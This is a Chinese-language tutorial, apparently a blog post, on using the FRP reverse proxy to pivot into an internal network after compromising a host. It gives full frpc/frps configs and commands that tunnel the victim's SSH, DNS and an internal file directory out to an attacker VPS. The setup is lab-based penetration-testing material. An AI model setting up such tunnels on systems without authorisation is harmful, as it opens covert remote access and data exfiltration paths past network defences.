内网渗透工具-反向代理FRP

0x1 简介

FRP是一个比较流行而且成熟的内网渗透工具,支持 TCP、UDP、HTTP、HTTPS 等多种协议。

0x2 前期准备

工具准备:可在官方github仓库下载 https://github.com/fatedier/frp/releases

frpsfrps.ini 放到具有公网 VPS 的机器上。 将 frpcfrpc.ini 放到内网机器上。

0x3 使用场景与教程

场景1--通过SSH访问内网设备

(1)简介

内网设备有暴露可连接的端口,比如22或者3389等端口,外网无法访问。再一次内网渗透过程中,发现该设备存在漏洞可上传任意文件。此时,攻击者可利用frp工具对内网设备进行连接。

(2)实验环境

服务端(服务端公网vps):x.x.x.x被控端(客户端)centos7:10.8.1.1控制端(攻击机)kali:10.1.1.2

(3)使用

1)服务端vps上部署frps,配置修改frps.ini文件,配置如下

[common]

bind_port = 9999        #绑定的服务端端口(注释可能导致运行错误,配置时可删除)

dashboard_user = admin      #可选,控制台用户名

dashboard_pwd = password      #可选,控制台密码

dashboard_port = 5555      #可选,控制台的端口

服务端vps启动frps服务

./frps -c ./frps.ini

可以打开浏览器,访问http://x.x.x.x:5555验证是否配置完成

2)被控端上部署frpc,配置修改 frpc.ini 文件,配置如下

[common]

server_addr = x.x.x.x      #vps IP

server_port = 9999      #vps绑定端口

[ssh]

type = tcp      #指定tcp类型代理

local_ip = 127.0.0.1        #暴露本地ip

local_port = 22    #暴露本地端口

remote_port = 6000      #frp服务端vps监听的端口,攻击者连接端口

被控端启动frpc

./fprc -c frpc.ini

3)攻击机通过ssh连接客户端

ssh -p 6000 root@x.x.x.x

访问控制台可见连接记录

场景2--转发DNS查询

(1)实验环境

同上

(2)使用

1)服务端vps修改配置frps.ini,并启动frps服务,同上

2)被控端centos7修改配置frpc.ini,并启动frpc。type为udp协议,local_ip设置为谷歌的DNS服务器(此处为测试用,真实场景可设置为内网的DNS服务器,达到探测内网资产目的),local_port设置为DNS服务端口,remote_port为frp服务端vps监听的端口,攻击者连接端口

[common]

server_addr = x.x.x.x

server_port = 9999

[dns]

type = udp

local_ip = 8.8.8.8

local_port = 53

remote_port = 6000

3)攻击机可以通过frps转发在内网设备上查询到的DNS信息

dig @101.42.250.174 -p 6000 www.baidu.com

场景3--对外提供内网文件访问下载服务

(1)实验环境

同上

(2)使用

1)服务端vps修改配置frps.ini,并启动frps服务,同上

2)被控端centos7修改配置frpc.ini,并启动frpc。使用组件static_file对外暴露内网文件。plugin_local_path指定需要对外提供的文件目录;plugin_strip_prefix指定访问 URL 的前缀,为可选项;plugin_http_user、plugin_http_passwd指定访问文件需要的用户名和密码

# frpc.ini

[common]

server_addr = x.x.x.x

server_port = 9999

[plugin_static_file]

type = tcp

remote_port = 3250

plugin = static_file

plugin_local_path = /tmp/rpshttp

plugin_strip_prefix = static

plugin_http_user = admin

plugin_http_passwd = admin

3)攻击机kali2019通过浏览器访问http://x.x.x.x:3250/static/,输入配置的用户名密码即可访问目录下文件,用户名密码错误将会显示未授权

场景4--P2P模式

(1)简介

P2P模式是一种点对点的内网穿透方式,此场景将不通过服务器中转流量的方式来达到访问内网的目的。

(2)实验环境

同上

(3)使用

1)服务端vps上部署frps,配置修改frps.ini文件,配置如下

[common]

bind_port = 7000

bind_udp_port = 7001    #可以与绑定的tcp端口保持一致

                        #可以同上配置控制台设置

2)被控端配置frpc.ini,并启动frpc服务

[common]

server_addr = x.x.x.x

server_port = 7000

[p2p_ssh]

type = xtcp

sk = abcdefg

local_ip = 127.0.0.1   

local_port = 22    #本地需要被连接的服务

3)控制端配置frpc.ini,并启动frpc服务

[common]

server_addr = 10.8.58.243

server_port = 7000

[p2p_ssh_visitor]

type = xtcp

role = visitor

server_name = p2p_ssh

sk = abcdefg

bind_addr = 127.0.0.1

bind_port = 6000    #选择一个本地端口与被控端进行绑定

4)控制端通过ssh连接被控端

ssh -p 6000 root@127.0.0.1


参考链接

https://github.com/fatedier/frp

~~~更多更详细更专业安全文章欢迎关注公众号:Janitor010

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容